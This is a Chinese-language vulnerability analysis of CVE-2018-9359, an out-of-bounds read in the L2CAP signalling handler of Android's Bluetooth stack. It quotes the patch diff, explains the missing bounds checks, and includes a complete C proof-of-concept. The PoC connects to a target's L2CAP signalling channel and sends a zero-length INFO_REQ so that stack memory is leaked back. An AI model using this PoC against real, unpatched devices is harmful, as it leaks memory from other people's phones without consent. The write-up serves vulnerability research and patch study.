【蓝牙】CVE-2018-9359 process_l2cap_cmd_L2CAP_CMD_INFO_REQ未判断缓冲区边界造成信息泄露

补丁

  • https://android.googlesource.com/platform/system/bt/+/b66fc16410ff96e9119f8eb282e67960e79075c8

补丁修改的地方比较多,通过描述可以看到是在process_l2cap_cmd()里的一个越界读漏洞,补的都是同样的代码,说明这块代码缺少检查,这里只截取部分补丁代码

DO NOT MERGE Fix OOB read in process_l2cap_cmd

Bug: 74202041
Bug: 74196706
Bug: 74201143
Test: manual
Change-Id: Ic25f7f3777d0375f76cc91e4d129b1636f1c388d
(cherry picked from commit ff15adf5150527db1012b9f7777066522835e2db)
diff --git a/stack/l2cap/l2c_main.cc b/stack/l2cap/l2c_main.cc
index 83d1737..7c1ef48 100644
--- a/stack/l2cap/l2c_main.cc
+++ b/stack/l2cap/l2c_main.cc
@@ -320,8 +320,16 @@
 
     switch (cmd_code) {
       case L2CAP_CMD_REJECT:
+        if (p + 2 > p_next_cmd) {
+          android_errorWriteLog(0x534e4554, "74202041");
+          return;
+        }
         STREAM_TO_UINT16(rej_reason, p);
         if (rej_reason == L2CAP_CMD_REJ_MTU_EXCEEDED) {
+          if (p + 2 > p_next_cmd) {
+            android_errorWriteLog(0x534e4554, "74202041");
+            return;
+          }
           STREAM_TO_UINT16(rej_mtu, p);
           /* What to do with the MTU reject ? We have negotiated an MTU. For now
            */
@@ -332,6 +340,10 @@
                               p_lcb->handle, rej_mtu);
         }
         if (rej_reason == L2CAP_CMD_REJ_INVALID_CID) {
+          if (p + 4 > p_next_cmd) {
+            android_errorWriteLog(0x534e4554, "74202041");
+            return;
+          }
           STREAM_TO_UINT16(rcid, p);
           STREAM_TO_UINT16(lcid, p);
 ...

我们挑第一个补丁点来分析,对p + 2进行计算判断

switch (cmd_code) {
       case L2CAP_CMD_REJECT:
+        if (p + 2 > p_next_cmd) {
+          android_errorWriteLog(0x534e4554, "74202041");
+          return;
+        }

找到代码对应的函数process_l2cap_cmd(),代码比较长,但是我们只需要关注关键的地方就行了,比如变量p的赋值,p来自上层函数

/*******************************************************************************
 *
 * Function         process_l2cap_cmd
 *
 * Description      This function is called when a packet is received on the
 *                  L2CAP signalling CID
 *
 * Returns          void
 *
 ******************************************************************************/
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) {
    ...
    switch (cmd_code) {
      case L2CAP_CMD_REJECT:
        STREAM_TO_UINT16(rej_reason, p);
        if (rej_reason == L2CAP_CMD_REJ_MTU_EXCEEDED) {
          STREAM_TO_UINT16(rej_mtu, p);

当接收到ACL数据包,HCI接口就会调用l2c_rcv_acl_data()来处理,再往上就不需要跟了,因为这里已经取出了p

/*******************************************************************************
 *
 * Function         l2c_rcv_acl_data
 *
 * Description      This function is called from the HCI Interface when an ACL
 *                  data packet is received.
 *
 * Returns          void
 *
 ******************************************************************************/
void l2c_rcv_acl_data(BT_HDR* p_msg) {
  uint8_t* p = (uint8_t*)(p_msg + 1) + p_msg->offset;
  ...
  STREAM_TO_UINT16(handle, p);
  ...
  /* Send the data through the channel state machine */
  if (rcv_cid == L2CAP_SIGNALLING_CID) {
    process_l2cap_cmd(p_lcb, p, l2cap_len); // <--
    osi_free(p_msg);
  }

补充一下STREAM_TO_UINT8()的实现如下,其它函数同理,p会往后移动

#define STREAM_TO_UINT8(u8, p) \
  {                            \
    (u8) = (uint8_t)(*(p));    \
    (p) += 1;                  \
  }

所以再回到process_l2cap_cmd(),仔细读一下代码,看所有的漏洞点,其实就是取了4字节长度的信令长度之后,又在switch/case里进行了取值,而此时未进行判断取值的位置是否超出缓冲区范围

static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) {
    ...
    // 如果是BT_TRANSPORT_LE模式直接返回,这里需要使用BT_TRANSPORT_BR_EDR
    /* if l2cap command received in CID 1 on top of an LE link, ignore this command */
    if (p_lcb->transport == BT_TRANSPORT_LE) return;

    // #define L2CAP_DEFAULT_MTU (672)
    /* Reject the packet if it exceeds the default Signalling Channel MTU */
    if (pkt_len > L2CAP_DEFAULT_MTU) {
        /* Core Spec requires a single response to the first command found in a
        *multi-command
        ** L2cap packet.  If only responses in the packet, then it will be ignored.
        ** Here we simply mark the bad packet and decide which cmd ID to reject
        *later
        */
        pkt_size_rej = true;
        L2CAP_TRACE_ERROR("L2CAP SIG MTU Pkt Len Exceeded (672) -> pkt_len: %d", pkt_len);
    }
  
    // 存储缓冲区起始地址与结束地址
    p_next_cmd = p;
    p_pkt_end = p + pkt_len;

    memset(&cfg_info, 0, sizeof(cfg_info));

    // 一个L2CAP包可能包含多个信令
    /* An L2CAP packet may contain multiple commands */
    while (true) {
        // 最短的信令是4字节
        /* Smallest command is 4 bytes */
        p = p_next_cmd; // p此时作为指针在缓冲区游动
        if (p > (p_pkt_end - 4)) break; // 保证剩余缓冲区至少还有4字节的数据剩余

        // 第一个字段是cmd_code
        // 第二个字段是id
        // 第三个字段是cmd_len
        STREAM_TO_UINT8(cmd_code, p);
        STREAM_TO_UINT8(id, p);
        STREAM_TO_UINT16(cmd_len, p);

        // #define BT_SMALL_BUFFER_SIZE 660
        if (cmd_len > BT_SMALL_BUFFER_SIZE) {
            L2CAP_TRACE_WARNING("L2CAP - Invalid MTU Size");
            l2cu_send_peer_cmd_reject(p_lcb, L2CAP_CMD_REJ_MTU_EXCEEDED, id, 0, 0);
            return;
        }

        // 检查加上当前信令长度后,不超过包的大小
        /* Check command length does not exceed packet length */
        p_next_cmd = p + cmd_len;
        if (p_next_cmd > p_pkt_end) {
            L2CAP_TRACE_WARNING("Command len bad  pkt_len: %d  cmd_len: %d  code: %d", pkt_len, cmd_len, cmd_code);
            break;
        }

        L2CAP_TRACE_DEBUG("cmd_code: %d, id:%d, cmd_len:%d", cmd_code, id, cmd_len);

        // 包太大,要再考虑下是否丢掉
        /* Bad L2CAP packet length, look or cmd to reject */
        if (pkt_size_rej) {
            /* If command found rejected it and we're done, otherwise keep looking */
            if (l2c_is_cmd_rejected(cmd_code, id, p_lcb))
                return;
            else
                continue; /* Look for next cmd/response in current packet */
        }

        // 准备进入漏洞区域
        switch (cmd_code) {
            case L2CAP_CMD_REJECT:
                // 取了2字节,取值前未判断:p + 2 > p_pkt_end
                STREAM_TO_UINT16(rej_reason, p);
                if (rej_reason == L2CAP_CMD_REJ_MTU_EXCEEDED) {
                    // 取了2字节,取值前未判断:p + 2 > p_pkt_end
                    STREAM_TO_UINT16(rej_mtu, p);
                    L2CAP_TRACE_WARNING("L2CAP - MTU rej Handle: %d MTU: %d", p_lcb->handle, rej_mtu);
                }
                if (rej_reason == L2CAP_CMD_REJ_INVALID_CID) {
                    // 取了4字节,取值前未判断:p + 4 > p_pkt_end
                    STREAM_TO_UINT16(rcid, p);
                    STREAM_TO_UINT16(lcid, p);
                    ...
                }
                ...
            // 本漏洞是信息泄露,所以需要泄露数据,也就是需要有往回发数据的函数
            // 刚好L2CAP_CMD_INFO_REQ满足,取了2字节数据,通过l2cu_send_peer_info_rsp()发送回去
            case L2CAP_CMD_INFO_REQ:
                // 取了两字节,取值前未判断:p + 2 > p_pkt_end
                STREAM_TO_UINT16(info_type, p);
                l2cu_send_peer_info_rsp(p_lcb, id, info_type);
                break;
                ...
                
            default:
                L2CAP_TRACE_WARNING("L2CAP - bad cmd code: %d", cmd_code);
                l2cu_send_peer_cmd_reject(p_lcb, L2CAP_CMD_REJ_NOT_UNDERSTOOD, id, 0, 0);
                return;
        }
    }
}

PoC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>          
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
// #include "avdt_defs.h"

#define SIGNALLING_CID 0x0001

#define L2CAP_CMD_INFO_REQ 0x0A

#define UINT32_TO_STREAM(p, u32)     \
  {                                  \
    *(p)++ = (uint8_t)(u32);         \
    *(p)++ = (uint8_t)((u32) >> 8);  \
    *(p)++ = (uint8_t)((u32) >> 16); \
    *(p)++ = (uint8_t)((u32) >> 24); \
  }
#define UINT24_TO_STREAM(p, u24)     \
  {                                  \
    *(p)++ = (uint8_t)(u24);         \
    *(p)++ = (uint8_t)((u24) >> 8);  \
    *(p)++ = (uint8_t)((u24) >> 16); \
  }
#define UINT16_TO_STREAM(p, u16)    \
  {                                 \
    *(p)++ = (uint8_t)(u16);        \
    *(p)++ = (uint8_t)((u16) >> 8); \
  }
#define UINT8_TO_STREAM(p, u8) \
  { *(p)++ = (uint8_t)(u8); }

static void show_data(void *data, int len)
{
    int i;
    uint8_t *p = (uint8_t*)data;
    for(i = 0; i < len ; i++) {
        printf("%02x " ,p[i]);
        if(i > 0 && i % 7 == 0)
            printf(" ");
        if(i > 0 && i % 15 == 0)
            printf("\n");
    }
    printf("\n");
}

void recv_and_leak(int sock_fd)
{
    uint8_t recv_buf[512];
    int ret;

    memset(recv_buf, 0, 512);
    ret = recv(sock_fd, recv_buf, 512, 0);
    if(ret == -1) {
        perror("[*] recv : ");
        return;
    }
    uint8_t *p = recv_buf;
    show_data(p, ret);
    // printf("leak data: %04x\n", trans_num);
}

void send_trigger_req(int sock_fd)
{
    uint8_t buffer[100];
    memset(buffer, 0, 100);

    // 第一个字段:L2CAP_CMD_INFO_REQ
    uint8_t *p = buffer;
    uint8_t cmd = L2CAP_CMD_INFO_REQ;
    *p++ = cmd;

    // 第二个字段:0x00,随意设置
    uint8_t id = 0x00;
    *p++ = id;

    // 第三个字段:0x0000
    // 表示直接就是一条信令4个字节结束,那么再取2字节就是缓冲区之外的数据
    uint16_t cmd_len = 0x0000;
    UINT16_TO_STREAM(p, cmd_len);

    send(sock_fd, buffer, p - buffer, 0);

    recv_and_leak(sock_fd);
}

// 常规连接
int main(int argc ,char* argv[]){
    int sock_fd, ret;
    int try_count = 1;
    char dest[18];
    struct sockaddr_l2 local_l2_addr;
    struct sockaddr_l2 remote_l2_addr;
    struct bt_security btsec;

    if(argc < 2){
        printf("usage : sudo ./poc TARGET_ADDR\n");
        return -1;
    }
    strncpy(dest, argv[1], 18);

    while( try_count-- > 0 )
    {
        sock_fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_L2CAP);
        if(sock_fd == -1){
            perror("[*] socket create failed : ");
            return -1;
        }

        memset(&local_l2_addr, 0, sizeof(struct sockaddr_l2));
        local_l2_addr.l2_family = AF_BLUETOOTH;
        local_l2_addr.l2_cid = htobs(SIGNALLING_CID);
        local_l2_addr.l2_bdaddr_type = 0; // BT_TRANSPORT_BR_EDR模式
        memcpy(&local_l2_addr.l2_bdaddr , BDADDR_ANY, sizeof(bdaddr_t));

        ret = bind(sock_fd, (struct sockaddr*) &local_l2_addr, sizeof(struct sockaddr_l2));
        if(ret == -1){
            perror("[*] bind()");
            goto out;
        }
	
        memset(&btsec, 0, sizeof(btsec));
        btsec.level = BT_SECURITY_LOW;
        
        if(setsockopt(sock_fd, SOL_BLUETOOTH, BT_SECURITY, &btsec, sizeof(btsec)) != 0){
          perror("[*] setsockopt error");
          goto out;
        }

        // l2cap_set_mtu(sock_fd, 1024, 1024);

        memset(&remote_l2_addr, 0, sizeof(remote_l2_addr));
        remote_l2_addr.l2_family = AF_BLUETOOTH;
        remote_l2_addr.l2_bdaddr_type = 0;
        remote_l2_addr.l2_cid = htobs(SIGNALLING_CID);
        //remote_l2_addr.l2_psm = htobs(6);
        str2ba(dest, &remote_l2_addr.l2_bdaddr);

        printf("connect %s\n", dest);
        if(connect(sock_fd, (struct sockaddr *) &remote_l2_addr,sizeof(remote_l2_addr)) < 0) {  
            perror("[*] can't connect");
            goto out;
        } 

        send_trigger_req(sock_fd);
        //sleep(1);
    }

out:
    close(sock_fd);
    return 0;
}

其中SIGNALLING_CID的值为0x0001

以下是完整补丁,就是在所有在switch/case内部进行取值的地方加上判断

DO NOT MERGE Fix OOB read in process_l2cap_cmd

Bug: 74202041
Bug: 74196706
Bug: 74201143
Test: manual
Change-Id: Ic25f7f3777d0375f76cc91e4d129b1636f1c388d
(cherry picked from commit ff15adf5150527db1012b9f7777066522835e2db)
diff --git a/stack/l2cap/l2c_main.cc b/stack/l2cap/l2c_main.cc
index 83d1737..7c1ef48 100644
--- a/stack/l2cap/l2c_main.cc
+++ b/stack/l2cap/l2c_main.cc
@@ -320,8 +320,16 @@
 
     switch (cmd_code) {
       case L2CAP_CMD_REJECT:
+        if (p + 2 > p_next_cmd) {
+          android_errorWriteLog(0x534e4554, "74202041");
+          return;
+        }
         STREAM_TO_UINT16(rej_reason, p);
         if (rej_reason == L2CAP_CMD_REJ_MTU_EXCEEDED) {
+          if (p + 2 > p_next_cmd) {
+            android_errorWriteLog(0x534e4554, "74202041");
+            return;
+          }
           STREAM_TO_UINT16(rej_mtu, p);
           /* What to do with the MTU reject ? We have negotiated an MTU. For now
            */
@@ -332,6 +340,10 @@
                               p_lcb->handle, rej_mtu);
         }
         if (rej_reason == L2CAP_CMD_REJ_INVALID_CID) {
+          if (p + 4 > p_next_cmd) {
+            android_errorWriteLog(0x534e4554, "74202041");
+            return;
+          }
           STREAM_TO_UINT16(rcid, p);
           STREAM_TO_UINT16(lcid, p);
 
@@ -365,6 +377,10 @@
         break;
 
       case L2CAP_CMD_CONN_REQ:
+        if (p + 4 > p_next_cmd) {
+          android_errorWriteLog(0x534e4554, "74202041");
+          return;
+        }
         STREAM_TO_UINT16(con_info.psm, p);
         STREAM_TO_UINT16(rcid, p);
         p_rcb = l2cu_find_rcb_by_psm(con_info.psm);
@@ -396,6 +412,10 @@
         break;
 
       case L2CAP_CMD_CONN_RSP:
+        if (p + 8 > p_next_cmd) {
+          android_errorWriteLog(0x534e4554, "74202041");
+          return;
+        }
         STREAM_TO_UINT16(con_info.remote_cid, p);
         STREAM_TO_UINT16(lcid, p);
         STREAM_TO_UINT16(con_info.l2cap_result, p);
@@ -427,6 +447,10 @@
         cfg_rej = false;
         cfg_rej_len = 0;
 
+        if (p + 4 > p_next_cmd) {
+          android_errorWriteLog(0x534e4554, "74202041");
+          return;
+        }
         STREAM_TO_UINT16(lcid, p);
         STREAM_TO_UINT16(cfg_info.flags, p);
 
@@ -437,22 +461,38 @@
                 false;
 
         while (p < p_cfg_end) {
+          if (p + 2 > p_next_cmd) {
+            android_errorWriteLog(0x534e4554, "74202041");
+            return;
+          }
           STREAM_TO_UINT8(cfg_code, p);
           STREAM_TO_UINT8(cfg_len, p);
 
           switch (cfg_code & 0x7F) {
             case L2CAP_CFG_TYPE_MTU:
               cfg_info.mtu_present = true;
+              if (p + 2 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT16(cfg_info.mtu, p);
               break;
 
             case L2CAP_CFG_TYPE_FLUSH_TOUT:
               cfg_info.flush_to_present = true;
+              if (p + 2 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT16(cfg_info.flush_to, p);
               break;
 
             case L2CAP_CFG_TYPE_QOS:
               cfg_info.qos_present = true;
+              if (p + 2 + 5 * 4 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT8(cfg_info.qos.qos_flags, p);
               STREAM_TO_UINT8(cfg_info.qos.service_type, p);
               STREAM_TO_UINT32(cfg_info.qos.token_rate, p);
@@ -464,6 +504,10 @@
 
             case L2CAP_CFG_TYPE_FCR:
               cfg_info.fcr_present = true;
+              if (p + 3 + 3 * 2 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT8(cfg_info.fcr.mode, p);
               STREAM_TO_UINT8(cfg_info.fcr.tx_win_sz, p);
               STREAM_TO_UINT8(cfg_info.fcr.max_transmit, p);
@@ -474,11 +518,19 @@
 
             case L2CAP_CFG_TYPE_FCS:
               cfg_info.fcs_present = true;
+              if (p + 1 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT8(cfg_info.fcs, p);
               break;
 
             case L2CAP_CFG_TYPE_EXT_FLOW:
               cfg_info.ext_flow_spec_present = true;
+              if (p + 2 + 2 + 3 * 4 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT8(cfg_info.ext_flow_spec.id, p);
               STREAM_TO_UINT8(cfg_info.ext_flow_spec.stype, p);
               STREAM_TO_UINT16(cfg_info.ext_flow_spec.max_sdu_size, p);
@@ -523,6 +575,10 @@
 
       case L2CAP_CMD_CONFIG_RSP:
         p_cfg_end = p + cmd_len;
+        if (p + 6 > p_next_cmd) {
+          android_errorWriteLog(0x534e4554, "74202041");
+          return;
+        }
         STREAM_TO_UINT16(lcid, p);
         STREAM_TO_UINT16(cfg_info.flags, p);
         STREAM_TO_UINT16(cfg_info.result, p);
@@ -532,22 +588,38 @@
                 false;
 
         while (p < p_cfg_end) {
+          if (p + 2 > p_next_cmd) {
+            android_errorWriteLog(0x534e4554, "74202041");
+            return;
+          }
           STREAM_TO_UINT8(cfg_code, p);
           STREAM_TO_UINT8(cfg_len, p);
 
           switch (cfg_code & 0x7F) {
             case L2CAP_CFG_TYPE_MTU:
               cfg_info.mtu_present = true;
+              if (p + 2 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT16(cfg_info.mtu, p);
               break;
 
             case L2CAP_CFG_TYPE_FLUSH_TOUT:
               cfg_info.flush_to_present = true;
+              if (p + 2 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT16(cfg_info.flush_to, p);
               break;
 
             case L2CAP_CFG_TYPE_QOS:
               cfg_info.qos_present = true;
+              if (p + 2 + 5 * 4 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT8(cfg_info.qos.qos_flags, p);
               STREAM_TO_UINT8(cfg_info.qos.service_type, p);
               STREAM_TO_UINT32(cfg_info.qos.token_rate, p);
@@ -559,6 +631,10 @@
 
             case L2CAP_CFG_TYPE_FCR:
               cfg_info.fcr_present = true;
+              if (p + 3 + 3 * 2 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT8(cfg_info.fcr.mode, p);
               STREAM_TO_UINT8(cfg_info.fcr.tx_win_sz, p);
               STREAM_TO_UINT8(cfg_info.fcr.max_transmit, p);
@@ -569,11 +645,19 @@
 
             case L2CAP_CFG_TYPE_FCS:
               cfg_info.fcs_present = true;
+              if (p + 1 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT8(cfg_info.fcs, p);
               break;
 
             case L2CAP_CFG_TYPE_EXT_FLOW:
               cfg_info.ext_flow_spec_present = true;
+              if (p + 2 + 2 + 3 * 4 > p_next_cmd) {
+                android_errorWriteLog(0x534e4554, "74202041");
+                return;
+              }
               STREAM_TO_UINT8(cfg_info.ext_flow_spec.id, p);
               STREAM_TO_UINT8(cfg_info.ext_flow_spec.stype, p);
               STREAM_TO_UINT16(cfg_info.ext_flow_spec.max_sdu_size, p);
@@ -603,6 +687,10 @@
         break;
 
       case L2CAP_CMD_DISC_REQ:
+        if (p + 4 > p_next_cmd) {
+          android_errorWriteLog(0x534e4554, "74202041");
+          return;
+        }
         STREAM_TO_UINT16(lcid, p);
         STREAM_TO_UINT16(rcid, p);
 
@@ -618,6 +706,10 @@
         break;
 
       case L2CAP_CMD_DISC_RSP:
+        if (p + 4 > p_next_cmd) {
+          android_errorWriteLog(0x534e4554, "74202041");
+          return;
+        }
         STREAM_TO_UINT16(rcid, p);
         STREAM_TO_UINT16(lcid, p);
 
@@ -645,6 +737,10 @@
         break;
 
       case L2CAP_CMD_INFO_REQ:
+        if (p + 2 > p_next_cmd) {
+          android_errorWriteLog(0x534e4554, "74202041");
+          return;
+        }
         STREAM_TO_UINT16(info_type, p);
         l2cu_send_peer_info_rsp(p_lcb, id, info_type);
         break;
@@ -656,6 +752,10 @@
           p_lcb->w4_info_rsp = false;
         }
 
+        if (p + 4 > p_next_cmd) {
+          android_errorWriteLog(0x534e4554, "74202041");
+          return;
+        }
         STREAM_TO_UINT16(info_type, p);
         STREAM_TO_UINT16(result, p);
 
@@ -663,6 +763,10 @@
 
         if ((info_type == L2CAP_EXTENDED_FEATURES_INFO_TYPE) &&
             (result == L2CAP_INFO_RESP_RESULT_SUCCESS)) {
+          if (p + 4 > p_next_cmd) {
+            android_errorWriteLog(0x534e4554, "74202041");
+            return;
+          }
           STREAM_TO_UINT32(p_lcb->peer_ext_fea, p);
 
 #if (L2CAP_NUM_FIXED_CHNLS > 0)

Last updated